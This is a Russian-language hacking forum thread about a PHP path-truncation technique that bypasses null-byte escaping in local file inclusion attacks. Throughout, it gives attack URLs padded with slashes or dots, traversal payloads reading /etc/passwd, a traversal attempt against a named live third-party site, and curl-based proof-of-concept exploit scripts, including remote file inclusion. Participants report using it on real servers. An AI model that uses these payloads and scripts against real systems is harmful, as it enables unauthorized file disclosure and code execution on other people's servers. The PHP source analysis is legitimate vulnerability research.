PDA

Просмотр полной версии : [новый способ] замена нулл-байту в инклудах


[Raz0r]
29.12.2008, 19:12
Просматривая забугорный форум sla.ckers.org, обнаружил новый способ, позволяющий отбросить любое значение, в частности расширение файла, в инклудах без использования нулл-байта. Как известно, нулл-байт экранируется при magic_quotes_gpc=on, поэтому это зачастую создает трудности при эксплуатировании LFI.

Способ заключается в том, что расширение можно отбросить, если до него предшествует последовательность символов, при чем длина этой последовательности может различаться в зависимости от OS. Где в коде PHP находится уязвимость пока сказать сложно, но вполне ясно, что она связана с теми же особенностями, которые ведут к проблемам с нулл-байтом, т.е. все исходит из C, на котором написан PHP. К сожалению, уязвимость не позволяет выбраться из текущей папки просто дописав перед значением ../, но мной был найден способ обхода (также зависит от OS).

1. *nix

Символы, составляющие последовательность:

0x2F / (не экранируется)

Длина полного пути *:
*getcwd() + DIRECTORY_SEPARATOR + имя файла + последовательность символов

4095 Linux
1023 FreeBSD

Пример:

http://localhost/test.php?lol=inc.php//////////////////////[...]

Выход за пределы текущей папки:

http://localhost/test.php?lol=existing_dir/../../inc.php//////////////////////[...]
где existing_dir имя существующей папки
в некоторых версиях PHP (e.g. 5.1.2) на linux имя папки может быть любым

2. windows
В windows имеются значительные отличия в зависимости от версии PHP. Почти в каждой версии имеются свои особенности.

Символы, составляющие последовательность:


0x20 пробел

не экранируется
работает во всех версиях
не работает при использовании способа с выходом из текущей директории

0x22 "

экранируется
работает в PHP => 5.2.0
не работает при использовании способа с выходом из текущей директории

0x2E .

не экранируется
работает во всех версиях
работает при использовании способа с выходом из текущей директории

0x3C <

не экранируется
работает в PHP => 5.2.0
не работает при использовании способа с выходом из текущей директории

0x3E >

не экранируется
работает в PHP => 5.2.0
не работает при использовании способа с выходом из текущей директории

0x2f /

не экранируется
работает во всех версиях, но в PHP => 5.2.0 только при условии, если отсутствует точка в отбрасываемом значении
работает при использовании способа с выходом из текущей директории, но лишь в некоторых версиях

0x5c \

экранируется
работает во всех версиях, но в PHP => 5.2.0 только при условии, если отсутствует точка в отбрасываемом значении
работает при использовании способа с выходом из текущей директории, но лишь в некоторых версиях


а также различные вариации с точкой:
./
.\
. (пробел)
.//.//
.\\.\\
etc

Длина полного пути *:
*getcwd() + DIRECTORY_SEPARATOR + имя файла + последовательность символов

PHP 4.4.2, 5.1.2, 5.2.6
265 если присутствует точка в отбрасываемом значении
266 если отсутствует

PHP 4.4.4, 4.4.9, 5.2.0
258 если присутствует точка в отбрасываемом значении
259 если отсутствует точка в отбрасываемом значении

Пример:

http://localhost/test.php?lol=inc.php.......................[...]
http://localhost/test.php?lol=inc.php<<<<<<<<<<<[...]

Выход за пределы текущей папки:

http://localhost/test.php?lol=exsiting_dir/../../inc.php............................[...]
http://localhost/test.php?lol=nonexsiting_dir/../../inc.php............................[...]
где nonexsiting_dir имя любой папки, даже несуществующей

Вывод исследования:
для windows универсальный символ для последовательности в векторе атаки это точка (.);
минимальная универсальная длина этой последовательности - 266 символов

в *nix единственным и универсальным символом является слэш (/);
минимальная универсальная длина последовательности - 4095 символов;

Для эксплуатации LFI в реальных условиях необходимо рассчитывать длину последовательности с учетом максимальной длины URL, которую способен принять веб-сервер. Если, например, сервер имеет ограничение URL < 4096 байт, а система работает на linux, то реализовать уязвимость не удастся


Информация конечно не совсем приватная, но пока что распространение она не получила.
Оригинальный топик: http://sla.ckers.org/forum/read.php?16,25706

Chaak
29.12.2008, 20:17
Длина последовательности:

От 900 до 4000.
Если только в посте :( Думаю сервер врятли разрешит слишком длинную url
Длина последовательности:

230 на winxp 32 bit
243 на vista 32 bit
а вот 230 возможно...

[Raz0r]
29.12.2008, 20:49
Длина максимального URL зависит от конфигурации веб-сервера. Апач по умолчанию держит 4096 байт, как раз достаточно дле реализации уязвимости
http://paradigm.ru/2007/12/19/url-max-length/

Chaak
29.12.2008, 21:25
Значит нормально

P.S на локалхосте стоит ограничение 512 по-умолчанию

[Raz0r]
29.12.2008, 21:31
в смысле на локалхосте? я про веб-сервер, апач он и на локалхосте апач )
з.ы. у меня на локалхосте ограничение 4096 байт )

ShAnKaR
29.12.2008, 22:10
интересно конечно, у кого нибудь сработало?

[Raz0r]
29.12.2008, 22:12
ShAnKaR, проверь сам и убедись ) все работает

Spyder
29.12.2008, 22:23
да, интерсно
*пошёл копать дедокрученые инклуды

Chaak
29.12.2008, 22:26
B вправду)

http://localhost/?file=favicon.ico%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C
<?php
include($_GET['file'].'.php');
?>

SQLHACK
30.12.2008, 00:28
Напишите у кого какие версии всего софта, ось, пхп, апач, способ подключения пхп к апачу.
Что то у меня не работает данная конструкция, если у кого то это работает то отпишите на каких настройках.

<?php
$_GET['inc'] = "/1.txt";
for($x=1;$x<=230;$x++){
//$_GET['inc'] .= urldecode("%3C");
$_GET['inc'] .= "<";
}
include("Z:\\home\\localhost\\www".$_GET['inc']."some.txt");
?>

m0nzt3r
30.12.2008, 00:38
пашет отлично, но не везде. респект однозначно :)

ShAnKaR
30.12.2008, 03:25
']ShAnKaR, проверь сам и убедись ) все работает
я проверял- не пахало поэтому и спросил.

UP
проверил побольше диапазон в общем оказалась магической цифра 4075, хз почему, тоесть имя файла вмесле со слешами имеет длину 4075 символа-> увеличиваю имя файла , уменшаю количесво сдешей соответственно, система linux PHP 5.2.6
еще кстати фигня:

$a=$_GET['qd'].'.xxxxxxx';
include($a);

убираю точку в подгружаемом расширении и уже не работает.
из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.

1ten0.0net1
30.12.2008, 11:32
PHP Version 4.4.0
System Windows NT 5.1
Код:
<?php
$a=$_GET['page'].'ТУТ_5000_символов_<'.'.php';
include($a);
?>
Apache/1.3.33
magic_quotes=Off

Аналогично, на:
PHP Version 4.4.9
System Linux 2.6.24.2 #1 SMP i686
magic_quotes=On
Apache/1.3.34 (Debian)

Не работает никак.

Отпишитесь, пожалуйста, кто пробовал на 2ке апача и на 5ке php

Isis
30.12.2008, 13:02
php 5, apache 2, windows vista, не работает

ntldr
30.12.2008, 13:06
php 5.2.8
apache 2.2.11
windows xp

работает

http://localhost/test.php?file=lol.bmp............................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. ......................................

<?php include($_GET['file'].'.php'); ?>

Spyder
30.12.2008, 13:18
хм
система линукс
PHP 5.2.6
апач 2.2.8

<?
include($_GET['page'].'.php');
?>
итак
incl.php?page=omg.txt - 4062 символа/
incl.php?page=om.txt 4064 символа /
incl.php?page=o.txt 4065 символов /
incl.php?page=omfg.txt - 4062 символа /
incl.php?page=xekxekekxek.txt - 4056 симвлов /

может тут кто то видит порядок, я нет =)
PS в каждом случае указано минимально кол-во символов /, если ставить больше то всё работает, к примеру 4070 символов будут работать в любом примере

Chaak
30.12.2008, 14:18
А на ngnix/light httpd работает? Может бага апача? Нет возможности проверить. У кого есть возможность отпишитесь

1ten0.0net1
30.12.2008, 14:25
http://www.thejustinfoundation.org/main.php?pg=documents/../../../../../../../../../../../etc/shells

Живой нерабочий пример
Здесь, как и в моих примерах выше - Apache/1.3.33

ShAnKaR
30.12.2008, 14:28
апач тут не причем, из командной строки норм пашет, strace:

getcwd("/var/www/html/test"..., 4096) = 19
time(NULL) = 1230632306
lstat64("/usr", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share", {st_mode=S_IFDIR|0755, st_size=12288, ...}) = 0
lstat64("/usr/share/pear", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share/pear/aaaa.php", 0xbfc7ad78) = -1 ENOENT (No such file or directory)
open("/usr/share/pear/aaaa.php/.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
time(NULL) = 1230632306
lstat64("/usr", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share", {st_mode=S_IFDIR|0755, st_size=12288, ...}) = 0
lstat64("/usr/share/php", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share/php/aaaa.php", 0xbfc7ad78) = -1 ENOENT (No such file or directory)
open("/usr/share/php/aaaa.php/.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
time(NULL) = 1230632306
lstat64("/var", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/var/www", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/var/www/html", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
lstat64("/var/www/html/test", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
lstat64("/var/www/html/test/aaaa.php", {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
open("/var/www/html/test/aaaa.php", O_RDONLY) = 4
fstat64(4, {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
fcntl64(4, F_GETFL) = 0 (flags O_RDONLY)
fstat64(4, {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8060000
_llseek(4, 0, [0], SEEK_CUR) = 0
_llseek(4, 0, [0], SEEK_SET) = 0
read(4, "<?php\n//phpinfo();\n\n"..., 4096) = 20

[Raz0r]
30.12.2008, 14:39
PHP 4.4.2 WinXP 32 bit - работает
PHP 4.4.4 WinXP 32 bit - работает
PHP 5.1.2 WinXP 32 bit - работает
PHP 5.2.0 WinXP 32 bit - работает
PHP 4.4.4 Vista 32 bit - работает
PHP 5.2.0 Vista 32 bit - работает
PHP 5.2.6 Vista 32 bit - работает
PHP 5.2.8 FreeBSD 6.3 - работает

В общем везде, где проверял у меня работало. Возможная проблема у тех, у кого не работало - вы указывали абсолютный путь, с ним уязвимость не работает.
убираю точку в подгружаемом расширении и уже не работает.
у меня такого не наблюдалось ни на винде, ни на линуксе.
из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.
об этом уже писал


Предлагаю заняться ииследованием сорцов для выяснения причин баги. Возможно удастся понять от чего зависит длина необходимой последовательности.


@1ten0.0net1
на твоем живом примере не работает, потому что доставляется ./:
include(./documents/../../../../../../../../../../../etc/shells.php)

ShAnKaR
30.12.2008, 14:43
вот еще цифра зависит от getcwd, в общем в сумме имя файла со слешами и с getcwd 4094, те перемещаем скрипт в другое место и соответственно кол-во слешей изменяется.

SQLHACK
30.12.2008, 14:48
Вообщем написал скрипт для быстрой проверки.

Складываем в папку z:/home/localhost/www/testinc/
Скрипт становится доступным по адресу http://www.localhost/testinc/test.php

Скрипт который запускаем (test.php)
<?php
$evilstr = "";
$fp = fopen("log.txt","a");
for ($x=0;$x<=500;$x++){
$evilstr .= "<";
$content = file_get_contents("http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr);
if (preg_match("#(.*)bugworking(.*)#",$content,$matches)){
echo "http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr."\r\n";
die ("Bug working with $x added chars");
}else{
fputs($fp, $content."\r\n\r\n");
}
}
fclose($fp);
?>

Скрипт который инклюдит inc.php ложим туда же

<?php
error_reporting(E_ALL);
include($_GET['inc'].".txt");
?>

и ложим файл vuln.txt с содержимым

-bugworking-

запускаем в браузере http://www.localhost/testinc/test.php
Получаю в ответ, что бага работает 216 символов и более.

Версии
PHP Version => 5.2.4
Windows NT XHOME 5.1 build 2600 Build Date хр короче
Apache 2.2.4

но стоит прописать абсолютный путь в любом варианте, и больше ни чё не пашет.

<?php
error_reporting(E_ALL);
include("Z:/home/localhost/www/testinc/".$_GET['inc'].".txt");
?>

Внимание вопрос. Почему ?
У кого есть идеи ?
то есть я не вижу объективных причин не работать с абсолютным путём.

1ten0.0net1
30.12.2008, 15:21
Скрипт SQLHACK переделаный под себя не работает. Имхо - с 4.4.0 не работает

Spyder
30.12.2008, 15:56
копать сорцы пшп?

SQLHACK
30.12.2008, 16:05
вот проверил несколько функций, как то странно.

require_once - работает
require - работает
include - работает
include_once - работает
file_get_contents - не работает
fopen - не работает
file - не работает
readfile - не работает

почему только функции инклюда подвержены ?
а Virtual и другие не пашут.

Qwazar
30.12.2008, 16:08
копать сорцы пшп? Угу, к тому же они не оч сложные. Надеюсь если их скомпилировать, бага останется. Имхо там гдето тупой оверфлоу должен быть, а длина обусловлена расстоянием до той строки которая фактически передастся в функцию инклуда (или может там отдельно как нибудь текущая дира передаётся и её значение и переписывается этим методом?), но это догадки. Пока времени посмотреть нет :(

P.S.
php-5.2.6-Win32 пример от SQLHACK работает, выдаёт "Bug working with 219 added chars".

P.P.S.
С абсолютным путём кстати и может неработать, если переписывается имено указатель на текущую директорию, относительно которой относительный путь конвертится в абсолютный. А в случае абсолютного пути, нет необходимости в вычеслении действительного пути.

SQLHACK
30.12.2008, 17:20
есил бы бы был оверфлов то пхп бы падал ,имхо , а тут всё корректно обрабатывается при любом количестве символов в пути

Qwazar
30.12.2008, 17:31
есил бы бы был оверфлов то пхп бы падал ,имхо , а тут всё корректно обрабатывается при любом количестве символов в пути Не обязательно должен падать, мож строка где нибудь обрезается после какого нибудь предела, а всё что переписывается отношения к исполняемому коду не имеет.

А вот ещё один признак того, что скорее всего переписывается результат функции getcwd (получение текущего каталога), ну и причина того, что абсолютные пути не пашут:
вот еще цифра зависит от getcwd, в общем в сумме имя файла со слешами и с getcwd 4094, те перемещаем скрипт в другое место и соответственно кол-во слешей изменяется.

P.S.
Вот тут: http://bugs.php.net/bug.php?id=41822
написано, что include с относительным путём вызывает getcwd.

Chaak
30.12.2008, 17:57
По ходу уязвимость где-то в этих функциях:


static int php_stream_open_for_zend(const char *filename, zend_file_handle *handle TSRMLS_DC) /* {{{ */
{
return php_stream_open_for_zend_ex(filename, handle, ENFORCE_SAFE_MODE|USE_PATH|REPORT_ERRORS|STREAM_OP EN_FOR_INCLUDE TSRMLS_CC);
}
/* }}} */

PHPAPI int php_stream_open_for_zend_ex(const char *filename, zend_file_handle *handle, int mode TSRMLS_DC) /* {{{ */
{
php_stream *stream;

stream = php_stream_open_wrapper((char *)filename, "rb", mode, &handle->opened_path);

if (stream) {
handle->type = ZEND_HANDLE_STREAM;
handle->filename = (char*)filename;
handle->free_filename = 0;
handle->handle.stream.handle = stream;
handle->handle.stream.reader = (zend_stream_reader_t)_php_stream_read;
handle->handle.stream.closer = stream_closer_for_zend;
handle->handle.stream.fteller = stream_fteller_for_zend;
handle->handle.stream.interactive = 0;
/* suppress warning if this stream is not explicitly closed */
php_stream_auto_cleanup(stream);

return SUCCESS;
}
return FAILURE;
}



php_stream_open_wrapper(); - предпологаю, что уязвимость где-то в ней

Qwazar
30.12.2008, 18:01
По ходу уязвимость где-то в этих функциях: Я бы посмотрел ещё, где &handle->opened_path вычисляется..

З.Ы.
Второй файл что ты выложил - не в тему, он для GZIP.

Qwazar
30.12.2008, 18:09
Класс zend_file_handle? Не найти что-то Сейчас сорцы качаю. вот проверил несколько функций, как то странно.

require_once - работает
require - работает
include - работает
include_once - работает
file_get_contents - не работает
fopen - не работает
file - не работает
readfile - не работает

почему только функции инклюда подвержены ?
а Virtual и другие не пашут. Потому что ТОЛЬКО функции инклуда, вызывают функцию getcwd, для вычисления абсолютного пути по относительному :) (хех, я был прав, в том что проблема с вычислением пути по текущему, посмотрим прав ли в остальном)

Chaak
30.12.2008, 18:16
А что если какая-то логическая ошибка => как-бы получается что функция выполняется, но значение параметра становится = '\0', что значит конец строки => обход magic_quotes'ов?


Вот кое-чот интересное! Похоже на переполнение буфера! Возможно длина строки неправильно расчитывается

/* no docref given but function is known (the default) */
if (!docref && is_function) {
int doclen;
if (space[0] == '\0') {
doclen = spprintf(&docref_buf, 0, "function.%s", function);
} else {
doclen = spprintf(&docref_buf, 0, "%s.%s", class_name, function);
}
while((p = strchr(docref_buf, '_')) != NULL) {
*p = '-';
}
docref = php_strtolower(docref_buf, doclen);
}

Qwazar
30.12.2008, 19:00
ChaaK, ты в какието дебри полез :) Чтото я этот кусок нигде в инклуде не видел.

Jokester
30.12.2008, 19:24
Тоже потестил, вот результат :
Конфигурация:
WinXP 32 bit, PHP 5.2.4, Апач 2.2.4

Работает
Цифра это минимальное кол-во символов

"."-218
" "пробел - никакой реакции
"<"-218
">"-218

С абсолютным путём не пашет Пока тестил только в include

И обнаружился ещё один символ, с которым работает:
"+"-218

ShAnKaR
30.12.2008, 19:31
кароч:
файл plain_wrappers.c
функция _php_stream_fopen_with_path:

snprintf(trypath, MAXPATHLEN, "%s/%s", ptr, filename);
stream = php_stream_fopen_rel(trypath, mode, opened_path, options);

там же функция _php_stream_fopen (тоже что php_stream_fopen_rel)

if ((realpath = expand_filepath(filename, NULL TSRMLS_CC)) == NULL) {
return NULL;
}
...
fopen(fname, ...

fname уже нормальный
дальше файл fopen-wrappers.c функция expand_filepath:

char cwd[MAXPATHLEN];
cwd[0] = '\0';

new_state.cwd = strdup(cwd);
new_state.cwd_length = strlen(cwd);

if (virtual_file_ex(&new_state, filepath, NULL, CWD_FILEPATH)) {
free(new_state.cwd);
return NULL;
}

real_path = estrndup(new_state.cwd, new_state.cwd_length);

real_path уже нормальный, MAXPATHLEN везде (не знаю как там у вас в виндах) = 4096;
ну что видно из этого идет везде сначала
xxx.php/////////..../////////////.txt
потом по MAXPATHLEN обрезается до
xxx.php/////////..../////////////.
дальше обрабатывается видимо функцией virtual_file_ex , она возвращает false и изменяет new_state.

ShAnKaR
30.12.2008, 19:48
']
В общем везде, где проверял у меня работало. Возможная проблема у тех, у кого не работало - вы указывали абсолютный путь, с ним уязвимость не работает.

у меня такого не наблюдалось ни на винде, ни на линуксе.


у меня вот:

<?php
$f="aaaa.php".str_repeat('/',$argv[1]);
$z=getcwd();
$u=$f.'.fffffffff';
$v=$z.'/'.$f;
print strlen($v)."\n";
require($u);
?>

[test@localhost cli]$ ./php ./test.php 4047
без точки не работает.

']
из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.

об этом уже писал

ты писал что папка должна существовать.

где existing_dir имя существующей папки

у меня выпоняется без этого условия.

[Raz0r]
30.12.2008, 20:30
без точки не работает.
FreeBSD 6.3, PHP 5.2.8 - работает без точки, какая у тебя система хоть?
ты писал что папка должна существовать.
это относится к linux, хотя это понятие растяжимое ) на все том же FreeBSD 6.3, PHP 5.2.8 через несуществующую папку не инклудится =\

ShAnKaR
30.12.2008, 20:31
потом файл tsrm_virtual_cwd.c
функция virtual_file_ex:


free_path = path_copy = tsrm_strndup(path, path_length);

ptr = tsrm_strtok_r(path_copy, TOKENIZER_STRING, &tok);


тут TOKENIZER_STRING у меня равен "/" в винде наверно чтото другое.

файл tsrm_strtok_r.c

char *tsrm_strtok_r(char *s, const char *delim, char **last)
{
char *token;

if (s == NULL) {
s = *last;
}

while (*s && in_character_class(*s, delim)) {
s++;
}
if (!*s) {
return NULL;
}

token = s;

while (*s && !in_character_class(*s, delim)) {
s++;
}
if (!*s) {
*last = s;
} else {
*s = '\0';
*last = s + 1;
}
return token;
}


потом опять файл tsrm_virtual_cwd.c
функция virtual_file_ex:
и тут наверно и идет бага:

while (ptr) {
...

} else if (!IS_DIRECTORY_CURRENT(ptr, ptr_length)) {
...
memcpy(&state->cwd[state->cwd_length], ptr, ptr_length+1);
...

ну а символ точка это как раз и есть 'IS_DIRECTORY_CURRENT' , следовательно можно использоывать не только длинную строчку из '/' а ещё и '/.'
остается конечно не понятно почему без точки в конце не пашет

ShAnKaR
30.12.2008, 21:38
в винде по идее еще должно проходить с нормальным слешем и обратным:

#ifdef TSRM_WIN32
#include <tchar.h>
#define tsrm_strtok_r(a,b,c) _tcstok((a),(b))
#define TOKENIZER_STRING "/\\"


проверил php 4.4.9:
файл streams.c функция _php_stream_fopen_with_path


snprintf(trypath, MAXPATHLEN, "%s/%s", ptr, filename);
/* If file does not exist continue */
if (VCWD_STAT(trypath, &sb) != 0) {
ptr = end;
continue;
}


VCWD_STAT ( практически стандартная файловая функция stat ) проверяет сначала существует ли файл а потом php уже пытается открыть в пятой такого не заметил, тоесть у меня не заработало на четвертой версии, у вас как?

ShAnKaR
01.01.2009, 17:51
вот на php 4 можно так тогда, да и на пятой тоже соответственно:
existing_dir/..//////////////////////// ... ///////////////////shell.php
окончание если есть обрежет по maxpathlen тогда

Spyder
01.01.2009, 18:45
ShAnKaR
в этом случае полный путь из getcwd+значение переменной должны равнятся maxpathlen? чтобы обрезалось только расширение
в пшп5 проще использовать конструкцию
.php?file=shell.php////////[...], где кол-во / может быть равно maxpathlen, те 4096 по дефолту
я правильно понял? и второй случай в пшп4 не прокатит?

ShAnKaR
01.01.2009, 19:42
ShAnKaR
в этом случае полный путь из getcwd+значение переменной должны равнятся maxpathlen? чтобы обрезалось только расширение

ну если не ошибаюсь там еще нулевой байт добавляется поэтому maxpathlen-1, случай когда слешы после имени у меня не катят на php 4, я показывал почему, вобще чего меня спрашивать когда можно все самому проверить.

ShAnKaR
01.01.2009, 20:03
вобще чего меня спрашивать когда можно все самому проверить.
вы же ROA в конце концов уже, ну ка подняли силу духа и разобрались как в винде бага работает ), я делал просто - вставлял в спорных местах printf, компилил и выводил содержимое, итак все глубже и глубже.

[Raz0r]
02.01.2009, 00:03
обновил шапку
upd: еще дополнил инфой по линуксу. Если в ваших тестах данные расходятся с моими, просьба сообщить в данной теме

Spyder
02.01.2009, 02:23
в linux имя папки может быть любым

линукс, пшп 5.2.6
у меня с несуществующей папкой не работает

[Raz0r]
02.01.2009, 02:39
у меня на PHP 5.1.2 работало с несуществующей папкой, но в новых версиях действительно не работает

M4g
03.01.2009, 07:43
a придумали бы методы обхода file_exists в никсах с несуществующей директорией/файлом. . .
ЗЫ сорри, не могу принять активное участие в дискуссии, ибо в отъезде

TANZWUT
03.01.2009, 15:45
пых четвёртой последняя версия, 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:37:32 EDT 2006 i686 i686 i386 GNU/Linux - не пашет.

ShAnKaR
03.01.2009, 22:34
пых четвёртой последняя версия, 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:37:32 EDT 2006 i686 i686 i386 GNU/Linux - не пашет.
для php 4 я предложил как обходить

Twoster
02.02.2009, 06:07
В общем, еще одна небольшая заметка, на мысль о которой натолкнула статья [Raz0r].

Итак, представим у нас есть скрипт
<?php
include($_GET['file'].'.php');
?>
Это просто для примера, тут пройдет и обычный инклуд с нулевым байтом (если конечно magic_quotes off), так и способ от [Raz0r].
А я вот обнаружил еще одну интересную вещь, в Виндовсе максимальное количество символов в имени файла – 240. Так, вот я подумал, а что будет, если будет конструкция вида
http://test1.ru/?file=page........................................ .................................................. .................................................. .................................................. ...........................................txt
include('page..................................... .................................................. .................................................. .................................................. ..............................................txt. php'); т.е. имя файла, который мы предлагаем содержит 240 символов, а ведь есть еще и .php. В общем, естественно имя файла обрезается до положенной длины, и на инклуд отправляется только page.............................................. .................................................. .................................................. .................................................. .....................................txt без .php
[+] При проверке файла при загрузке на сайт, расширение будет таким, какое нужно админу! =) В нашем случае .txt
[+] Во многих скриптах отсутствует проверка на длину файла

[-] Привязка к ОС – Windows
[-] Загружаемый файл на сайт должен иметь имя файла то же, что мы назначили, а не меняться скриптом.

В общем, я еще буду экспериментировать с Linux’ом, а где это применить, думаю найдете.

[Raz0r]
21.02.2009, 16:28
Команда USH выложила в паблик свою статью, в которой подробно описан данный способ, поэтому я посчитал, что теме больше не место в РОА и попросил Grey перенести ее сюда. В этой теме много заблуждений, но все предположения ShAnKaR подтвердились. Вольный перевод статьи USH у меня в блоге:
http://raz0r.name/articles/null-byte-alternative/

попугай
02.03.2009, 04:26
Блин, сегодня на практике применил эту статью , а так бы забил на тот серв с инклюдом и magic quotes on.

Все работает.

на локалхосте тестировал - Win XP, PHP 5.2.4 и апач 2 (денвер 3)

<?php include($_GET['file'].'.php'); ?>

http://localhost/testinc.php?file=favicon.ico[225 точек ] работает.

а потом на удаленном серваке (Линукс, точная версия и ПО неизвестно мне)

http://www.site/~papka1/papka2/Papka3/papka4/script.phtml?page=../../../../../../../../etc/passwd[4015 точек минимальное значение] работает.

Респект вам всем)

HIVER
04.03.2009, 12:01
Хост: nginx/0.7.31

максимальная длинна 8176 байт.
Накатал минисплоит:

inc.php, http://some_other_host/inc.php

<?php
phpinfo();
?>


i_am_file_with_include.php

<?php
include $_GET["file"] . ".php";
?>



exploit.php

<?php
$include_file = urlencode($argv[1]);
$host = "localhost";
$url = "i_am_file_with_include.php?file=$include_file";
$overflow = "";
$maxURI = 8176;
$sym = "/";
for($i=1;$i<=$maxURI-strlen($url);$i++) {$overflow .= $sym;}
$ch = curl_init("$host/$url$overflow");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_close($ch);
echo $res;
?>


./php exploit.php inc.php - Работает
./php exploit.php http://some_other_host/inc.php - Не работает
http://localhost/i_am_file_with_include.php?file=http://some_other_host/inc - Работает

Метод пашет, только непонятно почему удаленный инклуд не происходит.

BlackSun
04.03.2009, 12:04
С удаленным инсклудом все проше, там даже обрезать не надо, просто поставь в конце - ?

_gr34t
15.05.2009, 03:09
WinXP, PHP 5.2.8, Apache 2.2.11, include_path=.;C:\php5\pear
Работает с < > . + /
Минимальная длина строки (вместе с URL) = 280
---------------
FreeBSD 6.4, PHP 5.2.9, Apache 1.3.37, include_path=.:/usr/local/share/pear
Пробовал с / и /. разных длин - не работает

Велемир
20.05.2009, 20:12
Ня,с твоим скриптом я не фкурил.Вот,написал свою версию:

ЗЫ: Все скрипты должны назодиться в одной папке.

includer2.php



<?php


function dotted() {

$dot = "";

for ($n = 0; $n < 500; $n++) {

$dot .= chr(46);

url_sender($dot);


}


}


function url_sender($dot) {


$url="http://localhost/exploiter/inc.php?file=gangsta.txt$dot";

$ua = "IE 6.0";

$ch = curl_init();

curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);

$res = curl_exec($ch);


if(preg_match("|Yes!|",$res,$m)) {

echo "<center>Cool!</center>";


}

else {

echo "<center>Fuck!</center>";



}

curl_close($ch);


}

dotted();

?>



inc.php



<?php

include($_GET['file'].php);


?>



Киньте туда любой файлиг(Я его обозвал gangsta.txt : D).Надеюсь,кому-нибудь пригодится(Знаю-знаю - Веля плохой и многого не понимает:)

ЗЫ: Не хватает только счётчиков,какой по счёту символ является *фатальным* )))

Велемир
20.05.2009, 20:25
Пробовал до шести до 5999 точек выставлять - не помогло(хотел проинклудить файл в папке /etc/hosts).

Система: Windows XP HOME (SP 2 )
Интерпретатор: PHP: 5.2.6 без Сухозиновских заплаток.
Сервер: VertrigoServ v 2.21

Велемир
20.05.2009, 20:35
В общем,фигня какая-то.Пробиваю расширение только файлов,которые находятся в папке с бажным скриптом.

ЗЫ: Фаил инклудится уже с 204-ой точки и так по возрастающей )))

Pashkela
20.05.2009, 20:39
2 Велемир:

Чушь не говори. Посмотри последние три страницы "Ваши вопросы по уязвимостям" - увидишь в действии, как говорится

Велемир
20.05.2009, 20:46
Не знаю,о чём ты.Если ты о линке на русайт,то он не читабелен.И с чего ты взял,что мой вариант не работает ? Проверь сам - расширение режется

попугай
20.05.2009, 21:24
так если режеться - то что ты хочешь то? Об этом и тема - что можо так отсекать расширение

Велемир
21.05.2009, 20:17
Я не о том - я о том,что пример выложен в теге [code] с некуёвым количеством ./.Как мне убедиться в работе бага ?

$n@ke
21.05.2009, 20:47
Пробовал до шести до 5999 точек выставлять - не помогло(хотел проинклудить файл в папке /etc/hosts).

Система: Windows XP HOME (SP 2 )
Вот это сильно.../etc/hosts в WinXP..отсыпь) :D


зы: и кстати, все работает.

Pashkela
21.05.2009, 20:59
Я не о том - я о том,что пример выложен в теге [code] с некуёвым количеством ./.Как мне убедиться в работе бага ?

Задача проста конечно лишь на первый взгляд, поэтому я пошел по самому сложному пути - скопировал ссылку. Если найдешь другие варианты решения - обязательно отпишись в книгу рекордов Гиннеса

Spyder
21.05.2009, 22:33
не забывайте, что если в инклуде указан абсолютный путь то этот способ работать не будет, т.к не вызывается getcwd()

Ins3t
